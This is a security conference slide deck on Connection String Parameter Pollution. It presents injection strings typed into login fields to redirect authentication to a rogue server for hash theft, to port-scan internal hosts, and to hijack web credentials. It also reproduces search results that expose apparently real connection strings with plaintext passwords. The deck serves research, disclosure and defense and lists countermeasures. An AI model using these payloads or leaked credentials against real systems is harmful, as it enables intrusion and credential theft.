CONNECTION STRING ATTACKS

Chema Alonso
Informática 64
Connection Strings

• Define the way an application connects to data repository

• There are connection strings for:
  – Relational Databases (MSSQL, Oracle, MySQL,...)
  – LDAP Directories
  – Files
  – Etc...
Databases Connection Strings

Data Source = myServerAddress;
Initial Catalog = myDataBase;
User Id = myUsername;
Password = myPassword;
Google Hacking

La Web

codeproject problem in login. Free source code and programming help - [ Traducir esta página ]
datasource = timelist; gridview1.databind(); As your making the list by hand, you can apply
what ever maths you want to apply in the relevant areas of the ...
www.codeproject.com/.../problem-in-login.aspx - En caché - Similares - 

Rugs Direct - Professional Partnership Login - [ Traducir esta página ]
String, Application Name=rugsdirectory;RD;data source=C1W-SQL002;persist security
info=True;Initial Catalog=RugsDirect Prototype;Integrated Security=SSPI; ...
www.kimdesignsexclusives.com/rugsdirectory/.../login.aspx - Similares - 

Life Navigator - Login - [ Traducir esta página ]
ConnectionString: Data Source=p3swhsq-v19.shr.phx3.secureserver.net; Initial
Catalog=dbalmer; User ID=dbalmer; Password=W0rrI3sTing;
lifenavigator.dbalmer.net/Login.aspx - En caché - Similares - 

Forms Authentication only displays login.aspx - [ Traducir esta página ]
sqIConnectionString="data source=7.0.0.1;Trusted_Connection=yes"... Data Source=" +
Constants.DATASource; sLoginQuery = "SELECT tblUser.*" + ...
www.drinetmonster.com/.../Forms-Authentication-only-displays-login.aspx - 
En caché - Similares - 

Informática 64
www.informatica64.com
Google Hacking

Baxter Research Client Login - [ Traducir esta página ]
The remaining data source is a case summary printout. If a case has been placed on the imaging computer it is no longer available as a case summary printout ...
www.baxterresearch.net/login.asp - En caché - Similares - 💌 🌐

Login MicroStrategy Web.
DATA SOURCE. INTELESTRATEGY-2. Hide help. NEED HELP? Why do I need to log in? What is a cookie and how are cookies used at this Web site? ...
https://www.carloshaya.net/.../login.asp?...autologin... - En caché - Similares - 💌 🌐

Houts Family Login - [ Traducir esta página ]
Const ConnectDB_frogstar = "Provider=IBMDA400;Password=WEBACC01;User ID=WEBUSRHNS;Data Source=10.42.42.95;Transport Product=Client Access;SSL=DEFAULT"
Const ...
www.houtsfamily.org/secadmin/login.asp - En caché - Similares - 💌 🌐

Alberta Data Search - Customer Login - [ Traducir esta página ]
Now that our website is up and running, we are taking the next step in becoming Alberta’s best real estate data source. Feedback from our customers has ...
albertadatasearch.com/login.asp - En caché - Similares - 💌 🌐
UDL (Universal Data Links) Files

Informática 64
www.informatica64.com
Credentials

**Operating System Accounts**
- Data Source = myServerAddress;
- Initial Catalog = myDataBase;
- User Id = myUsername;
- Password = myPassword;
- Integrated Security = SSPI/True/Yes;

**Database Credentials**
- Data Source = myServerAddress;
- Initial Catalog = myDataBase;
- User Id = myUsername;
- Password = myPassword;
- Integrated Security = No;

Informática 64
www.informatica64.com
Users authenticated by Web App

Web application manages the login process

1. Web application connects using its credentials to the database.
2. Asks user login information.
3. Checks login information about info stored in custom users table.

Database Engine

App running on Web Server
Users authenticated by Database

Database engine manages the login process

1. Web application asks for credentials.
2. A connection string is composed with the credentials to connect to the database.
3. Roles and permits are limited by the user used in the connection string
Connection String Attacks

• It´s possible to inject parameters into connection strings using semi colons as separators

Data Source = myServerAddress;
Initial Catalog = myDataBase;
Integrated Security = NO;
User Id = myUsername;
Password = myPassword; Encryption = Off;
ConnectionStringBuilder

- Available in .NET Framework 2.0
- Build secure connection strings using parameters
- It's not possible to inject into the connection string

The following example demonstrates how the SqlConnectionStringBuilder handles an inserted extra value for the Initial Catalog setting.

**Visual Basic**

```vbnet
Dim builder As New System.Data.SqlClient.SqlConnectionStringBuilder
builder("Data Source") = "(local)"
builder("Integrated Security") = True
builder("Initial Catalog") = "AdventureWorks;NewValue=Bad"
Console.WriteLine(builder.ConnectionString)
```

**C#**

```csharp
System.Data.SqlClient.SqlConnectionStringBuilder builder =
    new System.Data.SqlClient.SqlConnectionStringBuilder();
builder["Data Source"] = "(local)";
builder["Integrated Security"] = true;
builder["Initial Catalog"] = "AdventureWorks;NewValue=Bad";
Console.WriteLine(builder.ConnectionString);
```
Are people aware of this?

Su búsqueda - "Connection String Attack" inurl:OWASP - no produjo ningún documento.

Sugerencias:

- Asegúrese de que todas las palabras estén escritas correctamente.
- Intente usar otras palabras.
- Intente usar palabras más generales.
- Intente usar menos palabras.

Su búsqueda - "Connection String Injection" inurl:OWASP - no produjo ningún documento.

Sugerencias:

- Asegúrese de que todas las palabras estén escritas correctamente.
- Intente usar otras palabras.
- Intente usar palabras más generales.
- Intente usar menos palabras.
Connection String Parameter Pollution

- The goal is to inject parameters in the connection string, whether they exist or not.
- Had duplicated a parameter, the last value wins.
- This behavior allows attackers to re-write completely the connection string, therefore to manipulate the way the application will work and how should be the it authenticated.
Pollutionable Behavior
What can be done with CSPP?
 Rewrite a parameter

<table>
<thead>
<tr>
<th>DataSource=DB1</th>
<th>UID=sa</th>
<th>password=Pwnd!</th>
<th>DataSource=DB2</th>
</tr>
</thead>
</table>

DBConnection Object

- DataSource
- UID
- password
Scanning the DMZ

- Development Database 1
- Financial Database
- Test Database
- Forgotten Database

Internet

Firewall (FW)

Web app vulnerable to CSPP

Data Source

Production Database
Port Scanning a Server

dataSource DB1,80
dataSource DB1,21
dataSource DB1,25
dataSource DB1,1445

Internet
FW
Web app vulnerable to CSPP
Production Database Server

Informática 64
www.informatica64.com
What can be done with CSPP?
Add a parameter

| Data Source=DB1 | UID=sa | password=PWnd! | Integrated Security=True |

DBConnection Object

- DataSource
- UID
- password
CSPP Attack 1: Hash stealing

1.- Run a Rogue Server on an accessibl IP address:

*Rogue_Server*

2.- Activate a sniffer to catch the login process

*Cain/Wireshark*

3.- Duplicate Data Source parameter

*Data_Source=Rogue_Server*

4.- Force Windows Integrated Authentication

*Integrated Security=true*
CSPP Attack 1: Robo de Hash

Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id=+’User_Value’+;
Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id= ;Data Source=Rogue_Server;
Password=;Integrated Security=True;
CSSP 1: ASP.NET Enterprise Manager

Connect to Server

Server Address: localhost
Username: ; data source = 80.81
Password: ; integrated security= true

Connect

Informática 64
www.informatica64.com
CSPP Attack 2: Port Scanning

1.- Duplicate the Data Source parameter setting on it the Target server and target port to be scanned.

   \textit{Data\_Source=Target\_Server,target\_Port}

2.- Check the error messages:
   - No TCP Connection \(\rightarrow\) Port is opened
   - No SQL Server \(\rightarrow\) Port is closed
   - SQL Server \(\rightarrow\) Invalid Password
CSPP Attack 2: Port Scanning

Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id=+’User_Value’+;
Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id= ;Data Source=Target_Server, Target_Port;
Password=:;Integrated Security=True;
CSPP 2: myLittleAdmin

Port is Opened
Port is Closed

Informática 64
www.informatica64.com
CSPP Attack 3: Hijacking Web Credentials

1.- Duplicate Data Source parameter to the target SQL Server

   \textit{Data\_Source=Target\_Server}

2.- Force Windows Authentication

   \textit{Integrated Security=true}

3.- Application pool in which the web app is running on will send its credentials in order to log in to the database engine.
CSPP Attack 3: Hijacking Web Credentials

Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id=+'User_Value'+;
Password=+'Password_Value'+;

Data source = SQL2005; initial catalog = db1;
Integrated Security=no; user id= ;Data Source=Target_Server;
Password= ;Integrated Security=true;
CSPP Attack 3: Web Data Administrator

Please enter your Credentials:

Username: [Redacted]
Password: [Redacted]
Server: [Redacted]

Authentication Method: SQL Login

DATABASES

Name:
- master
- msdb
- ReportServer
- ReportServerTempDB
- tempdb

SERVER TOOLS

Databases
- Import
- Export

Logins

Name | Type | Server Access
--- | --- | ---
NT AUTHORITY\NETWORK SERVICE | NTUser | Grant
sa | Standard | NonNTLogin
BUILTIN\Users | NTGroup | Grant
CSPP Attack 3:
myLittleAdmin/myLittleBackup
CSPP Attack 3: ASP.NET Enterprise Manager
Other Databases

• MySQL
  – Does not support Integrated security
  – It’s possible to manipulate the behavior of the web application, although
    • Port Scanning
    • Connect to internal/testing/for developing Databases
• Oracle supports integrated authority running on Windows and UNIX/Linux servers
  – It’s possible to perform all described attacks
    • Hash stealing
    • Port Scanning
    • Hijacking Web credentials
  – Also it’s possible to elevate a connection to sysdba in order to shutdown/startup an instance
myLittleAdmin/myLittleBackup

myLittleTools released a security advisory and a patch about this.
ASP.NET Enterprise Manager

- ASP.NET Enterprise Manager is “abandoned”, but it’s been used in a lot of web Control Panels.

```vbnet
'******************************************************* CONNECTION STRING
Public Class ConnectionString
    Private _DataSource as String
    Private _InitialCatalog as String
    Private _UID as String
    Private _PWD as String
    Private _ConStr as String

    Public Property DataSource As String
        Get
            Return(_DataSource)
        End get
        Set
            _DataSource = value
            _ConStr = "data Source=" & _DataSource & ";Initial catalog=" & _InitialCatalog & ";uid=" & _UID & ";pwd=" & _PWD
        End Set
        End Property
```

- Fix the code yourself
ASP.NET Enterprise Manager

- ASP.NET Enterprise Manager is “abandoned”, but it’s been used in a lot of web Control Panels.

- Fix the code yourself
Hi Chema,

thank you very much for your thoughtful input on this matter. As you may already have noticed, the corresponding entry on download center is no longer available now as a result of your report. We will archive the issue on our end. Please let me know if you have any further questions or comments.

Thanks,

ASP Web Data Administrator is secure in CodePlex web site, but not in Microsoft web site where is been published an unsecure old version.
Countermeasures

• Harden your firewall
  – Outbound connections
• Harden your internal accounts
  – Web application
  – Web server
  – Database Engine
• Use ConnectionStringBuilder

• Filter the ;)
Questions?

Contacto
Chema Alonso
chema@informatica64.com
http://www.informatica64.com
http://elladodelmal.blogspot.com
Palako
palakko@lateatral.com

Authors
Chema Alonso
Manuel Fernández “The Sur”
Alejandro Martín Bailón
Antonio Guzmán

Informática 64
www.informatica64.com